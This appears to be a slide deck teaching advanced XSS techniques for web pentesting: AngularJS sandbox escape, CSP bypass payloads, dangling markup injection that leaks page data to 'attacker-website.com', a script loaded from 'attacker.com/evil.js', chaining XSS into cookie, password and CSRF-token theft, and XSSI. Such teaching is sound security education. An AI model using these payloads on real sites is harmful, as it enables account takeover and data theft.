

Ultimate XSS advanced guide

BY UNCLE RAT



Agenda

- ▶ AngularJS sandbox
- ▶ CSP
- ▶ Dangling markup injection
- ▶ Chaining XSS
- ▶ XXSi



AngularJS sandbox



AngularJS sandbox – What is it?



- ▶ AngularJS is front-end templating engine
- ▶ AngularJS Sandbox is a technique that doesn't allow access to dangerous objects
 - ▶ I.e. Window
 - ▶ I.e. document
 - ▶ ...

AngularJS sandbox – What is it?



- ▶ Bypassing sandbox used to be very hard
- ▶ In AngularJS 1.6 researchers found several ways
- ▶ Was eventually removed in 1.6
- ▶ Many legacy applications still run < 1.6

AngularJS sandbox – How does it work?

- ▶ Parses an expression
- ▶ Rewrites the JS
- ▶ Checks if rewritten code is safe
 - ▶ I.E. `EnsureSafeObject()`



AngularJS sandbox – How can we escape?



- ▶ We need to trick the parser into thinking our JS is safe
- ▶ Most famous escape use modified `charAt()` function
- ▶ `'a'.constructor.prototype.charAt=[]`.join

AngularJS sandbox – How can we escape?



- ▶ `'a'.constructor.prototype.charAt=[]`.join
- ▶ Overwrites the `charAt()` function using `[]`.join
- ▶ Causes `charAt()` to return ALL characters to it
- ▶ Due to logic of `isIndent()` from angularJS it will compare what it thinks is single char to multiple chars
- ▶ This will make `isIndent()` always return true

AngularJS sandbox – How can we escape?

```
isIdent= function(ch) {  
  return ('a' <= ch && ch <= 'z' ||  
  'A' <= ch && ch <= 'Z' ||  
  '_' === ch || ch === '$');  
}  
isIdent('x9=9a9l9e9r9t9(919)')
```



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- ▶ `'a'.constructor.prototype.charAt=[]`.join
- ▶ Now that `isIdent()` always returns true, we can insert our javascript code
- ▶ `$eval('x=alert(1)')`
 - ▶ This is angulars eval function
 - ▶ You can see by the \$
 - ▶ Overwriting `charAt` only works when sandboxed code is executed
 - ▶ The angularJS eval forces the sandbox code to run

Dangling markup injection



CSP – What is it?



- ▶ Content security policy
- ▶ Browser mechanism aimed to prevent XSS
- ▶ Works by only allowing content from certain sources
- ▶ Content-Security-Policy header

CSP – How it works



- ▶ Content-Security-Policy: script-src 'self'
 - ▶ Only allows originating JS from own host adress
- ▶ Content-Security-Policy: script-src <https://scripts.normal-website.com>
 - ▶ Allows executing of scripts from a certain source website

CSP – How it works



- ▶ Besides script sources there's Nonce
 - ▶ Randomly generated number on server
 - ▶ Value must be in HTML tag that loads script
- ▶ There's also hashes
 - ▶ Hash of the JS contents is being made

CSP – How do we bypass it?



- ▶ Do your own research as well, there's many techniques
- ▶ Policy injection
- ▶ Stealing the nonce with DOM clubbering
- ▶ Lack of object-src and default-src
- ▶ Wildcard
- ▶ 'unsafe-eval'
- ▶ 'unsafe-inline'
- ▶ ...

CSP bypass– Lack of object-src and default-src



- ▶ Content-Security-Policy: script-src <https://google.com> 'unsafe-inline' https://*;
- ▶ child-src 'none';
- ▶ report-uri /Report-parsing-url;

- ▶ Working payload:
"/><script>alert(1);</script>

[https://book.hacktricks
.xyz/pentesting-
web/content-security-
policy-csp-bypass](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass)

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CSP bypass– Unsafe eval



- ▶ Content-Security-Policy: script-src <https://google.com> 'unsafe-eval' data: http://*;
- ▶ child-src 'none';
- ▶ report-uri /Report-parsing-url;
- ▶ Working payload: `<script src="data:;base64,YWxlcnQoZG9jdW11bnQuZG9tYWluKQ=="></script>`

[https://book.hacktricks
.xyz/pentesting-
web/content-security-
policy-csp-bypass](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass)

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CSP bypass– Wildcard



- ▶ Content-Security-Policy: script-src 'self' <https://google.com> https: data *;
- ▶ child-src 'none';
- ▶ report-uri /Report-parsing-url;

- ▶ Working payload: `"/>'><script src=https://attacker.com/evil.js></script>`

[https://book.hacktricks
.xyz/pentesting-
web/content-security-
policy-csp-bypass](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass)

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CSP bypass– Lack of object-src and default-src



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- ▶ Content-Security-Policy: script-src 'self'
- ▶ report-uri /Report-parsing-url;

- ▶ Working payloads:
- ▶

```
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> </object>
```
- ▶

```
">'><object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//'><param name="AllowScriptAccess" value="always"></object>
```

Dangling markup injection



Dangling markup injection – NOT XSS

- ▶ Sometimes full XSS is not possible
- ▶ Dangling markup to the rescue!
- ▶ Technique to steal data that is on the page



Dangling markup injection – NOT XSS

- ▶ `<input type="text" name="input" value="CONTROLLABLE DATA HERE`
 - ▶ We might be able to insert `>` here
 - ▶ We might not be able to perform full XSS due to filtering
 - ▶ But what if we do `><img src='//attacker-website.com?`
 - ▶ Notice how tag has no closing `'>` (dangling markup)
 - ▶ This will create an image tag
 - ▶ Webpage will complete HTML until it finds `'` in source code
 - ▶ Image source will try to call upon our webserver with HTML code up until `'`
 - ▶ Our webserver access logs will contain entry for call with data as `get PARAM`



Chaining XSS



Chaining XSS

- ▶ XSS to steal cookies
 - ▶ The victim might not be logged in.
 - ▶ Many applications hide their cookies from JavaScript using the `HttpOnly` flag.
 - ▶ Sessions might be locked to additional factors like the user's IP address.
 - ▶ The session might time out before you're able to hijack it.



Chaining XSS

- ▶ XSS to steal passwords
 - ▶ If user has autofill enabled
 - ▶ Password will be filled in
 - ▶ We can create password capture tool in JS
 - ▶ Only works if victim uses autofill



Chaining XSS

- ▶ XSS to steal CSRF token
- ▶ Do ANYTHING you can do with JS
 - ▶ Like a post
 - ▶ Change an email address
 - ▶ Request password reset > account takeover
 - ▶ Delete all the users posts
 - ▶ Change the default adress and buy an item



XXSi



XXSi – What is it?

- ▶ Sometimes JS contains sensitive information
- ▶ Usually JS can only be called when authenticated
- ▶ As a regular user we can't see that sensitive information
- ▶ So how do we get that sensitive information?



XXSi – What is it?

- ▶ When using `<script>` tag, SOP doesn't apply
- ▶ Scripts have to be able to be cross-domain
- ▶ We can abuse this to include the JS file with secrets in it



XXSi – How to abuse it

- ▶ If information is in global JS file
 - ▶ `<script src="https://www.vulnerable-domain.tld/script.js"></script>`
 - ▶ `<script>`
`alert(JSON.stringify(confidential_keys[0]));`
`</script>`
 - ▶ First grab the script and then read the data with regex, using keywords and json stringify,...



XXSi – How to abuse it

- ▶ Dynamic based JS
 - ▶ Sometimes JS can be dynamically generated
 - ▶ Might contain sensitive info when authenticated
 - ▶ To know, request JS with and without cookies
 - ▶ Authenticated request will look different
 - ▶ If the extra JS code is in global variable we can use code from our previous example
 - ▶ Else we will need to overwrite the executed function

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And many more
possibilities...